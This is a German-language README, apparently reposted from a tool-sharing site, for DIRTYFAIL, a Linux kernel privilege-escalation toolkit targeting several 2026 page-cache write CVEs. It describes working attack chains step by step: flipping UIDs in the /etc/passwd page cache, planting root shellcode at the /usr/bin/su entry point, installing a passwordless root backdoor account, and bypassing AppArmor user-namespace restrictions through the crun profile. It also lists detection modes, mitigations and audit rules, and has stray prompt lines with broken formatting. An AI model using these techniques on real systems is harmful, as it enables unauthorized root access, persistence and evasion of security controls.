1/2 │ ┌──────────────────┐ │ stage 1/2 │ │ unshare + caps │ │ AF_ALG ecb(aes) │ │ handler │ │ → run inner │ │ keystream brute │ └──────────────┘ └──────────────────┘ │ force │ └──────────────────┘

Per-CVE primitives (each has detect/exploit/exploit_inner functions):

┌──────────────────────────────────────────────────────────────────────┐ │ copyfail.c algif_aead authencesn 4-byte STORE (CVE-2026-31431) │ │ copyfail_gcm.c rfc4106(gcm(aes)) 1-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp.c xfrm-ESP IPv4 4-byte STORE (CVE-2026-43284) │ │ dirtyfrag_esp6.c xfrm-ESP IPv6 4-byte STORE w/ +9 (CVE-2026-43284) │ │ dirtyfrag_rxrpc.c rxkad 8-byte STORE + fcrypt brute (CVE-2026-43500) │ │ fcrypt.c rxkad cipher (56-bit Feistel) │ │ backdoor.c persistent /etc/passwd line overwrite │ └──────────────────────────────────────────────────────────────────────┘

root@kitploit:~
**Wichtige Designentscheidungen:**

- **Outer/Inner-Split**: Jeder Exploit forkt einen Kindprozess für die Kernel-Arbeit. Der Elternprozess bleibt im Init-Namespace, sodass der spätere `execlp("su", user)` die echte Init-Namespace-Root erreicht. Siehe [§8.5 Architektur](#85-architecture-outerinner-fork-based-bypass).
- **Page Cache ist global**: Der Kindprozess schreibt von innerhalb seines Bypass-User-Namespace, der Elternprozess liest vom Init-NS; dieselben Bytes sind sichtbar.
- **Umgebungsvariablen transportieren Eltern-zu-Kind-Zustand**: `DIRTYFAIL_INNER_MODE`, `DIRTYFAIL_TARGET_USER`, `DIRTYFAIL_K_{A,B,C}` (rxrpc), `DIRTYFAIL_LINE_OFF` usw. (Backdoor). `execv` bewahrt die Umgebung über Stufenübergänge hinweg.
- **Defensive Begleitfunktion**: `--mitigate` setzt dieselben Blacklists + Sysctl-Härtung ein, die Distributionen als offizielle Mitigationsmaßnahmen ausliefern. `--scan` erkennt, wenn Capabilities durch LSM blockiert werden, und meldet „mitigated" anstelle des irreführenden „VULNERABLE preconditions met".

---

## 5. Erstellen

### Voraussetzungen

* **Linux** (diese Binärdatei ist nur unter Linux lauffähig).
* `gcc` oder `clang`, `make`.
* Linux-UAPI-Header – insbesondere `<linux/xfrm.h>`, `<linux/netlink.h>`, `<linux/rtnetlink.h>`, `<linux/if.h>`.

| Distribution       | Installation                                      |
|-------------------|------------------------------------------------------|
| Debian / Ubuntu   | `sudo apt install build-essential linux-libc-dev`    |
| RHEL / CentOS     | `sudo dnf install gcc make kernel-headers glibc-devel` |
| Fedora            | `sudo dnf install gcc make kernel-headers`           |
| Arch              | `sudo pacman -S base-devel`                          |

### Build-Befehle```sh
git clone https://github.com/<you>/DIRTYFAIL.git
cd DIRTYFAIL
make                # release build → ./dirtyfail
make debug          # -O0 -g3 for gdb
make static         # static link (musl-gcc recommended)
make clean

Der Standard-Build erzeugt eine einzelne ~80 KB große Binärdatei unter ./dirtyfail. Für einen portablen Build, der auf jedem kernel-kompatiblen Linux ohne glibc-Abhängigkeitsdrift läuft:```sh make static CC=musl-gcc

root@kitploit:~
(Installiere `musl-tools` unter Debian/Ubuntu oder baue musl aus dem Quellcode).

---

## 6. Verwendung

`./dirtyfail --help` ist die kanonische Referenz; die Modi sind nach Kategorien aufgeschlüsselt:

**Erkennung (sicher; keine Systemänderung):**

| Modus | Funktion |
|---|---|
| `--scan` | Führt alle fünf Detektoren aus (Standardmodus) |
| `--scan --active` | Fügt einen Sentinel-Datei-STORE-Probe pro CVE hinzu — unterscheidet Vorbedingungen erfüllt von tatsächlich ausnutzbar |
| `--scan --json` | Gibt ein einzelnes JSON-Objekt auf stdout aus (SIEM-freundlich); Logs gehen nach stderr |
| `--check-copyfail` / `--check-esp` / `--check-esp6` / `--check-rxrpc` / `--check-gcm` | Nur CVE-spezifische Erkennung |

**Ausnutzung (mit Bestätigung per Eingabe; beschädigt `/etc/passwd`-Page-Cache):**

| Modus | Funktion |
|---|---|
| `--exploit-copyfail` | UID-Flip über `algif_aead` 4-Byte-Primitive |
| `--exploit-esp` | UID-Flip über xfrm-ESP v4 (benötigt userns+CAP_NET_ADMIN) |
| `--exploit-esp6` | UID-Flip über xfrm-ESP v6 |
| `--exploit-rxrpc` | Leeres Root-Passwortfeld über rxkad-fcrypt-Brute-Force |
| `--exploit-gcm` | UID-Flip über `rfc4106(gcm(aes))` Einzelbyte-Primitive |
| `--exploit-backdoor` | DAUERHAFT: Füge `dirtyfail::0:0:...:/:/bin/bash` ein |
| `--exploit-su` | V4bel-artig: Pflanzt architekturspezifischen Shellcode am Einstiegspunkt von `/usr/bin/su` ein. x86_64 end-to-end getestet; aarch64 wird hardware-ungetestet ausgeliefert (geschützt durch `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`) |

**Bereinigung / Zustandsprüfung:**

| Modus | Funktion |
|---|---|
| `--cleanup` | Entfernt `/etc/passwd` aus dem Page-Cache (`fadvise` + `drop_caches` falls root) |
| `--cleanup-backdoor` | Stellt die ursprüngliche `/etc/passwd`-Zeile aus der Zustandsdatei wieder her |
| `--cleanup-su` | Stellt die Einstiegspunkt-Bytes von `/usr/bin/su` aus der Zustandsdatei wieder her |
| `--list-state` | Meldet, was (falls vorhanden) derzeit eingepflanzt ist; nebenwirkungsfrei |

**Defensiv (root erforderlich):**

| Modus | Funktion |
|---|---|
| `--mitigate` | Blacklistet die Module `algif_aead`/`esp4`/`esp6`/`rxrpc`; setzt `apparmor_restrict_unprivileged_userns=1`; drop_caches. Nebenwirkungen: bricht IPsec, AFS |
| `--cleanup-mitigate` | Entfernt die von `--mitigate` installierten modprobe/sysctl-Dateien |

**Allgemeine Optionen:**

| Flag | Wirkung |
|---|---|
| `--no-shell` | Nach erfolgreichem Exploit `execve su` NICHT ausführen — überprüfen und rückgängig machen |
| `--no-revert` | Mit `--no-shell` auch das automatische Rückgängigmachen überspringen (verwendet von der Container-Escape-Demo) |
| `--active` | Fügt aktive Sentinel-STORE-Probes zu `--scan`/`--check-*` hinzu |
| `--json` | (mit `--scan`) gibt maschinenlesbare Ausgabe aus |
| `--no-color` | Deaktiviert ANSI-Farben |
| `--aa-bypass` | (NUR DEBUG) erzwingt den AppArmor-Unprivileged-userns-Bypass — Exploits tun dies intern, siehe §8.5 |

### Erkennungsbeispiele

Einfacher Scan (nur Vorbedingungen — schnell, ~1s):```sh
./dirtyfail --scan

Aktiver Sentinel-Probe pro CVE (~10s, ändert nur /tmp Sentinels):```sh ./dirtyfail --scan --active

root@kitploit:~
JSON für SIEM/Fleet-Ingestion:```sh
$ ./dirtyfail --scan --active --json
{
  "tool": "dirtyfail",
  "version": "0.1.0",
  "hostname": "server-01",
  "kernel": "6.19.10-300.fc44.x86_64",
  "machine": "x86_64",
  "active_probes": true,
  "results": [
    {"cve": "CVE-2026-31431",     "name": "copyfail",        "status": "vulnerable"},
    {"cve": "CVE-2026-43284",     "name": "dirtyfrag-esp",   "status": "vulnerable"},
    {"cve": "CVE-2026-43284-v6",  "name": "dirtyfrag-esp6",  "status": "vulnerable"},
    {"cve": "CVE-2026-43500",     "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
    {"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm",    "status": "vulnerable"}
  ],
  "summary": "vulnerable"
}

Status values: vulnerable, not_vulnerable, preconds_missing, test_error. Die Zusammenfassung spiegelt das schlechteste Ergebnis aller Ergebnisse wider.

Exploit examples (getippte Bestätigung erforderlich)```sh

./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)

root@kitploit:~
Jeder Exploit fragt nach `DIRTYFAIL` + (falls zutreffend) `YES_BREAK_SSH` vor jeglicher Page-Cache-Modifikation.

### Zustandsüberprüfung + Bereinigung```sh
./dirtyfail --list-state          # what's currently planted? (side-effect free)
./dirtyfail --cleanup             # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor    # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su          # restore /usr/bin/su from .dirtyfail-su.state

Oder direkt an den Kernel weiterleiten:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

root@kitploit:~
---

## 7. Wie DIRTYFAIL jede CVE erkennt

### Copy Fail (aktive Sentinel-Sonde)

Die Erkennung löst tatsächlich die Primitive gegen eine Sentinel-Datei in
`/tmp` aus:

1. Teste `socket(AF_ALG, SOCK_SEQPACKET, 0)` und `bind` an
   `authencesn(hmac(sha256), cbc(aes))`.
2. Erstelle eine 4 KiB große Sentinel-Datei in `/tmp` und lade die erste
   Seite per Page Fault in den Cache.
3. Führe die vollständige Exploit-Primitive dagegen aus: `sendmsg` AAD mit
   `seqno_lo = "PWND"`, splice 32 Bytes der Sentinel-Datei in den AF_ALG
   op Socket, treibe `recv` an, um den Scratch-Write auszulösen.
4. Lese die Sentinel-Datei erneut und suche nach `PWND` irgendwo auf der
   ersten Seite.

Marker gefunden ⇒ anfällig. Marker fehlt, aber Seiteninhalt unterscheidet sich ⇒
die Primitive wurde teilweise ausgelöst (immer noch anfällig). Seite identisch ⇒
nicht anfällig auf diesem Kernel.

### Dirty Frag xfrm-ESP (voraussetzungsbasiert — oder aktiv mit `--active`)

Standardmäßig ist `--scan` nur voraussetzungsbasiert — wir betreten im
Erkennungsmodus keinen User-Namespace (das hätte Nebeneffekte auf die
Netzwerkkonfiguration innerhalb dieses Namespace). Wir prüfen:

* Kernel-Version innerhalb des betroffenen Fensters
* `esp4` / `esp6` aktuell geladen oder automatisch ladbar
* Erstellung eines unprivilegierten User-Namespace gelingt (getestet via fork →
  Kindprozess `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` gibt false zurück

Alle vier vorhanden ⇒ VULNERABLE (Voraussetzungen erfüllt).

`--scan --active` erweitert dies um eine Sentinel-STORE-Sonde: wir forken
einen Kindprozess, der den AA-Bypass aktiviert, einen frischen User-/Netzwerk-Namespace betritt,
eine XFRM-SA registriert und den ESP-in-UDP-Trigger gegen eine
`/tmp/dirtyfail-esp-probe.XXXXXX` Sentinel-Datei auslöst. Der Elternprozess liest
die Sentinel-Datei erneut und sucht nach den Marker-Bytes:

* Marker gelandet → Kernel-STORE erreichbar → **VULNERABLE**
* Seite intakt → Kernel-Patch wirksam → **NOT VULNERABLE**
* AA-Bypass verweigert → **PRECOND_FAIL** (durch LSM abgeschwächt)

Dies ist die einzige Möglichkeit, einen Kernel mit Backport-Patch von einem
ungepatchten zu unterscheiden, ohne den vollständigen UID-Flip-Exploit gegen
`/etc/passwd` auszuführen. Das gleiche Muster wird für ESP v6, RxRPC und GCM
unter `--active` verwendet.

### Dirty Frag RxRPC (voraussetzungsbasiert — oder aktiv mit `--active`)

Voraussetzungen:
* `rxrpc` in `/proc/modules` oder automatisch ladbar
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` gelingt

Aktive Sonde (`--active`): forkt via AA-Bypass, registriert einen RxRPC-Sitzungsschlüssel
mit einem beliebigen 8-Byte-Wert, sendet eine CHALLENGE + DATA-Fälschung gegen eine
`/tmp`-Sentinel-Datei, sucht nach JEGLICHER Byte-Änderung im gesplicten 8-Byte-Fenster.
Wir versuchen nicht vorherzusagen, was gelandet ist — jede Änderung bestätigt, dass der
Kernel-STORE ausgelöst wird.

### Copy Fail GCM-Variante + ESP v6 — gleiche Form

Die aktive Sonde der GCM-Variante installiert eine SA im Transportmodus mit einer
beliebigen IV und löst `gcm_trigger` gegen eine `/tmp`-Sentinel-Datei aus; JEGLICHE
Byte-Änderung an sentinel[0] bestätigt die Erreichbarkeit. Die ESP-v6-Sonde kalibriert
auch automatisch `V6_STORE_SHIFT` pro Kernel-Build (siehe `calibrate_v6_shift` in
`src/dirtyfrag_esp6.c`) — verschiedene Distributionen setzen den STORE bei
`esp6_input`-Builds an leicht unterschiedlichen Offsets innerhalb der gesplicten Region,
und die Kalibrierungssonde findet den genauen Offset, bevor der eigentliche Exploit
ausgelöst wird.

---

## 8. Wie DIRTYFAIL jede CVE ausnutzt

### Copy Fail Exploit (`copyfail.c`)

Einzelner 4-Byte-STORE durch `algif_aead`:```
                                          [/etc/passwd page cache]
 user  ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
       ──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
       ──recv()─────────────────────▶ kernel runs authencesn_decrypt
                                        scratch write: "0000" → uid_off
                                        EBADMSG returned to user (we ignore)
 user  ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..."   ◄─ page cache
 user  ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
                                       ─────► root shell

Dirty Frag xfrm-ESP Exploit (dirtyfrag_esp.c)

Gleicher Endzustand wie Copy Fail, erreicht über xfrm_input anstelle von algif_aead:``` [/etc/passwd page cache] unshare(USER|NET); setup uid_map; ifup lo NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP udp_send connect 127.0.0.1:4500 vmsplice ESP wire header (24B) ─▶ pipe splice /etc/passwd@uid_off (16B) ─▶ pipe splice pipe (40B) ─▶ udp_send udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input skb has frags, no frag_list ─▶ goto skip_cow (THE BUG) crypto_authenc_esn_decrypt: scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE AEAD auth fails (EBADMSG) — but the STORE is permanent page-cache copy of /etc/passwd now reports uid 0 for the user

root@kitploit:~
Dann den Namespace verlassen, `execlp("su", user)` vom Elternprozess — derselbe letzte Schritt wie bei Copy Fail.

### Dirty Frag RxRPC Exploit (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
                                          [/etc/passwd page cache]
 user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
   produces predicate-satisfying plaintexts for offsets 4, 6, 8
   (chained-ciphertext correction across passes)

 fork → child enters new userns:
   unshare(USER|NET); setup uid_map; ifup lo
   socket(AF_RXRPC) — autoload rxrpc.ko
   for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
     add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
     udp_srv = bind 127.0.0.1:port_S
     rxsk    = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
     rxsk → sendmsg(PINGPING)              triggers handshake init
     udp_srv ← receives kernel's first DATA-0
       extract (epoch, cid, callNumber)
     udp_srv → forged CHALLENGE             → rxsk auto-RESPONSE
                                               primes conn->rxkad.cipher with K
     csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
     cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
     vmsplice DATA hdr (28B) → pipe
     splice  /etc/passwd@off (8B) → pipe
     splice  pipe (36B) → udp_srv
     udp loopback → rxsk
       recvmsg → rxrpc_input → rxkad_verify_packet
         skb has frags, no frag_list → goto skip_unshare    (THE BUG)
         skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
         crypto_skcipher_decrypt: pcbc(fcrypt)
           page[off..off+8] = fcrypt_decrypt(C_actual, K)    ◄─ 8-byte STORE

 child exits, parent verifies /etc/passwd[4..5] == "::"
 parent: execlp("su", "-")
   PAM common-auth: pam_unix.so nullok    → root has empty password
   su  → setresuid(0,0,0) → exec /bin/bash
                                       ─────► root shell

--exploit-su Shellcode-Injektion (exploit_su.c)

Eine zweite /etc/passwd-freie Angriffskette, die nach V4bels Referenzexploit modelliert ist. Anstatt den Page Cache von /etc/passwd zu bearbeiten, platzieren wir architekturspezifischen Shellcode am ELF-Einstiegspunkt von /usr/bin/su in dessen Page Cache; wenn das nächste Mal jemand /usr/bin/su ausführt, setzt der Kernel die euid=0 vom setuid-Bit auf der Festplatte, der dynamische Linker löst auf und die Kontrolle wechselt zu unserem Shellcode → /bin/sh als echter init-ns root. Keine PAM-Abhängigkeit, umgeht die Entfernung von pam_unix nullok vollständig.``` parent (init ns) │ stat /usr/bin/su; verify setuid+root │ parse ELF header; resolve e_entry → file offset │ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state │ for each 4-byte chunk of shellcode: │ cf_4byte_write("/usr/bin/su", file_offset+i, chunk) │ pread() back; verify match │ if --no-shell: │ plant_shellcode(original) # revert via re-write │ fadvise(DONTNEED) on a new fd # evict if possible │ else: │ execl("/usr/bin/su", "su", NULL) ─► │ kernel exec /usr/bin/su (setuid root) │ ld-linux.so resolves │ jumps to e_entry → our shellcode │ setuid(0); setgid(0); │ execve("/bin/sh", argv, NULL) ▼ ────► root shell

root@kitploit:~
Architecture matrix:

* **x86_64 (56 Bytes, 14 verkettete 4-Byte-Schreibvorgänge)** — getestet
  Ende-zu-Ende auf Fedora 44 (`uid=0(root) gid=0(root) ...
  context=unconfined_u:unconfined_r:unconfined_t`). Shellcode in
  `shellcode_x86_64[]`.
* **aarch64 (80 Bytes, 20 Anweisungen)** — von Hand aus der
  ARMv8-A-Referenz kodiert, **nie auf Hardware ausgeführt**. Geschaltet hinter
  `DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Quellcode ausgeliefert in
  `tools/exploit_su_aarch64.S` zur Community-Überprüfung — assembliere
  mit `aarch64-linux-gnu-as` und bestätige, dass die Byte-Sequenz mit
  `shellcode_aarch64[]` übereinstimmt.
* alles andere → preconds_fail.

Die Statusdatei `/var/tmp/.dirtyfail-su.state` speichert die ursprünglichen
Einstiegspunkt-Bytes, damit `--cleanup-su` sie wiederherstellen kann. `--list-state`
überprüft diese Datei (und die der Hintertür), ohne etwas zu berühren.

Wenn der Verifizierungsschritt feststellt, dass der Seiten-Cache nicht mit dem
eingepflanzten Shellcode übereinstimmt (Kernel gepatcht, AF_ALG auf die schwarze
Liste gesetzt usw.), wird der automatische Rückgängig-Modus sofort ausgelöst und
die Statusdatei entfernt — der Bediener muss danach nicht cleanup-su ausführen.

---

## 8.5 Architektur: Outer/Inner Fork-basierter Bypass

Alle fünf Exploit-Modi teilen eine gemeinsame Architektur für den Umgang mit
Ubuntus `apparmor_restrict_unprivileged_userns=1`-Richtlinie, ohne das
Post-Exploit `su` in einem userns einzusperren, wo es nicht die echte init-ns-Wurzel
erreichen kann.

### Das Problem

Ein naiver Bypass setzt den *gesamten* `dirtyfail`-Prozess innerhalb eines frischen
Benutzernamensraums via `unshare(CLONE_NEWUSER)`. Das reicht aus, um XFRM-SAs zu
registrieren und Splice-Trigger auszulösen — aber es bedeutet auch, dass das spätere
`execlp("su", user)` innerhalb des userns läuft, wo uid 0 via
`uid_map "0 1000 1"` auf die äußere uid des Bedieners (1000) abgebildet wird. PAMs
`setresuid(0)` landet dann bei userns-uid-0-abgebildet-auf-1000, was **nicht** die
echte init-ns-Wurzel ist — `cat /etc/shadow` gibt EACCES zurück, die Shell kann
keine privilegierten Operationen ausführen.

### Der Fix: Outer/Inner Split```
parent (dirtyfail, init ns)                 child (bypass userns)
─────────────────────────                   ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
                                             execv self ─► STAGE-1
                                                            execv self ─► STAGE-2
                                                                          unshare(USER|NET)
                                                                          uid_map / capset
                                                                          ifup lo
                                                                          main() detects INNER_MODE
                                                                          dispatch <mode>_inner()
                                                                          register XFRM SA
                                                                          splice trigger → page cache STORE
                                                                          _exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
  execlp("su", user) ← runs IN INIT NS
                       PAM auth → setresuid(0)
                       → REAL init-ns root shell
else:
  try_revert_passwd_page_cache

Der übergeordnete Prozess betritt niemals einen Benutzer-Namensraum. Das Kind führt den Workaround + Kernel-Arbeiten durch, modifiziert den globalen Page Cache (der über Namensräume hinweg gemeinsam genutzt wird — die einzige „Brücke“, die wir benötigen) und beendet sich. Das su des übergeordneten Prozesses ist dann ein normaler setresuid-Aufruf im Init-Namensraum.

Übergabe vom übergeordneten zum untergeordneten Prozess über Umgebungsvariablen

execv bewahrt die Umgebung, daher speichert der übergeordnete Prozess die Operationsparameter in Umgebungsvariablen ab, bevor er abzweigt. Jeder Modus definiert seine eigenen:

Nach Abschluss von Stufe 2 des Workarounds prüft main() DIRTYFAIL_INNER_MODE und leitet an <mode>_exploit_inner() weiter. Die innere Routine macht nur die Kernel-Arbeiten (keine Eingabeaufforderungen, kein Fork, kein su) und beendet sich mit dem Ergebniscode. Der übergeordnete Prozess holt es über waitpid ab und fährt mit der Überprüfung fort.

Warum der Single-Hop-Workaround

Der frühere Zwei-Hop-Tanz (change_onexec("crun") → change_onexec("chrome")) verursachte auf Ubuntu 24.04 gelegentlich ENOSPC-Fehler in unserer Exec-Kette (wahrscheinlich eine per-Profil-Userns-Abrechnungsbesonderheit). Der einzelne Hop in crun reicht aus — das AppArmor-Profil von crun hat flags=(unconfined) und explizite userns,-Berechtigung, sodass unshare erfolgreich ist und bleibt.

Warum keine Endlos-Re-Exec-Schleife

Nach erfolgreichem Abschluss von Stufe 2 wird ein prozesslokales g_bypass_done-Flag gesetzt. Wenn apparmor_bypass_needed() im selben Prozess erneut aufgerufen wird, wird es auf false kurzgeschlossen, wodurch verhindert wird, dass der Code nach dem Exploit erneut auslöst und eine weitere Userns-Schicht verschachtelt (was zuvor als ENOSPC auf die pro-Userns-Verschachtelungsgrenze stieß).

--aa-bypass ist jetzt ein reines Debug-Flag

In der alten Architektur bewaffnete --aa-bypass einen prozessweiten Workaround vor dem Exploit-Dispatch. In der neuen Architektur führen Exploit-Modi ihren eigenen Fork-basierten Workaround intern durch; das Flag wird für den normalen Gebrauch nicht mehr benötigt. Es wird zum isolierten Debuggen der Workaround-Mechanik beibehalten (z. B. beim Ausführen von --scan innerhalb eines Workaround-Userns), mit einer Warnung, dass es su nach dem Exploit beeinträchtigen kann.


9. Gegenmaßnahmen

Copy Fail (CVE-2026-31431)

  1. Patch anwenden. Mainline a664bf3d; Backports sind auf den stabilen 6.12 / 6.17 / 6.18-Zweigen gelandet.
  2. Übergangslösung: algif_aead auf die Blacklist setzen: ```sh echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf sudo rmmod algif_aead 2>/dev/null
    root@kitploit:~

⚠ Hinweis: Dies mildert Dirty Frag nicht. Der xfrm-ESP-Pfad erreicht dieselbe authencesn-Primitive, ohne durch algif_aead zu gehen.

Dirty Frag xfrm-ESP (CVE-2026-43284)

  1. Wenden Sie den Patch an. Mainline f4c50a4034e6 (zusammengeführt am 07.05.2026). Distro-Backports werden ab dem 08.05.2026 ausgerollt.
  2. Vorläufig: blacklisten Sie esp4 und esp6: ```sh sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF' install esp4 /bin/false install esp6 /bin/false EOF sudo rmmod esp4 esp6 2>/dev/null sudo sysctl vm.drop_caches=3
    root@kitploit:~

⚠ Dies unterbricht IPsec / strongSwan / libreswan VPNs. 3. Verteidigung in der Tiefe: Nicht privilegierte Benutzer-Namespaces verbieten. Ubuntu tut dies standardmäßig über AppArmor; auf anderen Distributionen: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0

root@kitploit:~
### Dirty Frag RxRPC (CVE-2026-43500)

1. **Noch kein Upstream-Patch vorhanden.** Forscher-Patch auf lkml; nicht gemerged zum
Zeitpunkt der Erstellung (2026-05-08).
2. **Vorläufig**: blacklisten `rxrpc`:   ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3

⚠ Dies unterbricht AFS-Dateisystemclients. Die meisten Server benötigen rxrpc nicht.

Kombinierter Einzeiler (alle drei)```sh

sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '

root@kitploit:~
### Oder verwende `dirtyfail --mitigate`

Der gleiche Satz von Abhilfemaßnahmen ist in einen durch eine Tippbestätigung geschützten Verteidigungsmodus eingebettet:```sh
sudo ./dirtyfail --mitigate

Dies legt /etc/modprobe.d/dirtyfail-mitigations.conf und /etc/sysctl.d/99-dirtyfail-mitigations.conf an, entlädt die vier Module und drop_caches. Rückgängig machen über sudo ./dirtyfail --cleanup-mitigate. Nebenwirkungen: unterbricht IPsec, AFS-Clients und jeglichen Userspace, der AF_ALG AEAD verwendet. Siehe docs/DEFENDERS.md für das vollständige Sysadmin-Playbook.

Erkennung / Überwachung

Für fortlaufende Erkennung unabhängig von Patches:

  • Host scannen: dirtyfail --scan --active (vollständige sentinel-STORE Sonde) oder dirtyfail --scan --active --json zur SIEM/Flotten- Aufnahme. Die Bash-Variante tools/dirtyfail-check.sh hat keine Build-Abhängigkeiten.
  • Audit-Regeln: tools/99-dirtyfail.rules ist ein einsatzbereites auditd Regelset, das die fünf Syscall-Pfade abdeckt, die die Exploit-Kette verwendet (XFRM-Netlink-Registrierung, add_key("rxrpc"), unshare(CLONE_NEWUSER), AF_ALG-Socket-Erstellung, Schreibvorgänge auf /etc/passwd und /etc/shadow). Installation mit: ```sh sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/ sudo augenrules --load && sudo systemctl restart auditd
    root@kitploit:~
  • Container-Blastradius-Demo: tools/dirtyfail-container-escape.sh zeigt, dass der Kernel-Page-Cache über Namespaces hinweg gemeinsam genutzt wird — nützlich, um den Cross-Tenant-Einfluss gegenüber Administratoren zu erklären.

10. Ethik & Offenlegung

DIRTYFAIL ist ein Forschungswerkzeug. Die von ihm abgedeckten Schwachstellen sind bereits öffentlich offengelegt mit bewaffneten PoCs in freier Wildbahn (siehe Credits) — DIRTYFAIL fügt Erkennungsabdeckung, einheitliche Dokumentation und eine sanftere PoC-Variante hinzu (UID-Flip vs. ELF-Überschreibung von /usr/bin/su).

  • Führen Sie --exploit-*-Modi nicht auf Systemen aus, die Ihnen nicht gehören oder für die Sie nicht ausdrücklich autorisiert sind. Page-Cache-Modifikationen sind mit drop_caches umkehrbar, aber sie stellen dennoch eine Privilegieneskalation dar, solange sie bestehen.
  • Setzen Sie DIRTYFAIL nicht als „Scanner“ gegen die Infrastruktur Dritter ein ohne schriftliche Genehmigung. Der Erkennungsmodus verändert keine Systemdateien, öffnet jedoch eine Sentinel-Datei in /tmp und nutzt die Kernel-Krypto-API.
  • Wenn Sie ein anfälliges System in freier Wildbahn finden, befolgen Sie eine verantwortungsvolle Offenlegung gegenüber dem Betreiber, nicht gegenüber der Öffentlichkeit.

Bonus: Anmerkungen zur GCM-Variante + Hintertür + AppArmor-Umgehung

Diese drei Funktionen erweitern DIRTYFAIL um Techniken, die erstmals von 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo veröffentlicht wurden. Im DIRTYFAIL-Stil neu implementiert; die ursprünglichen Credits befinden sich in NOTICE.md.

Copy Fail GCM-Variante

Gleicher xfrm-ESP-no-COW-Pfad wie CVE-2026-43284, jedoch mit rfc4106(gcm(aes)) anstelle von authencesn(...). Zwei Gründe, warum es sich lohnt, es zusammen mit der authencesn-Variante auszuliefern:

  1. Abdeckung. Ein Verteidiger, der algif_aead auf eine schwarze Liste gesetzt hat, um Copy Fail (CVE-2026-31431) zu entschärfen, ist hier immer noch angreifbar — der GCM-Pfad geht nicht durch algif_aead.
  2. Granularität. AES-GCM im Zählermodus XORt den Keystream auf das gespleißte Byte. Durch Brute-Force des IV (~256 Versuche pro Byte) erreichen wir ein beliebiges einzelnes Byte an jedem Datei-Offset — keine 4-Byte-Ausrichtung, keine 4-Byte-Nebeneffekte.

Die 1-Byte-Primitive (cfg_1byte_write) macht den persistenten Hintertür-Modus möglich.

Persistente Hintertür

--exploit-backdoor wählt die längste Zeile in /etc/passwd aus, deren Shell in {nologin, false, sync} ist, und überschreibt sie Byte für Byte mit dirtyfail::0:0:<pad>:/:/bin/bash (längenangepasst). Nach der Installation gewährt su - dirtyfail von jedem Benutzer eine Root-Shell — keine Passwortabfrage — weil pam_unix.so nullok das leere Passwortfeld akzeptiert.

Der Benutzername dirtyfail ist absichtlich auf dieses Projekt abgestimmt, sodass er leicht zu erkennen ist bei einer späteren Überprüfung — Verteidiger, die grep dirtyfail /etc/passwd ausführen (oder ein HIDS, das dasselbe tut), werden die Zeile sofort bemerken. Wenn Sie für ein bestimmtes Red-Team-Engagement eine andere Kennung benötigen, ändern Sie NEW_USER und DF_PREFIX in src/backdoor.c.

Die Datei auf der Festplatte bleibt unverändert; die Substitution lebt nur im Page-Cache. --cleanup-backdoor stellt die ursprüngliche Zeile über dieselbe Primitive wieder her.

AppArmor-Umgehung

Ubuntu 24.04+ liefert apparmor_restrict_unprivileged_userns=1. Das Standardprofil, das auf nicht privilegierte Binärprogramme angewendet wird, lässt unshare(USER) gelingen, entzieht jedoch CAP_NET_ADMIN im neuen Namespace. Die XFRM-SA-Registrierung schlägt dann stillschweigend fehl.

Die Umgehung: Schreiben Sie "exec crun" in /proc/self/attr/exec und führen Sie execv aus, um in das crun-Profil von AppArmor zu wechseln, das flags=(unconfined) und explizite userns,-Berechtigung hat. Nach dem exec gelingt unshare(CLONE_NEWUSER | CLONE_NEWNET) mit vollen Capabilities im neuen Namespace.

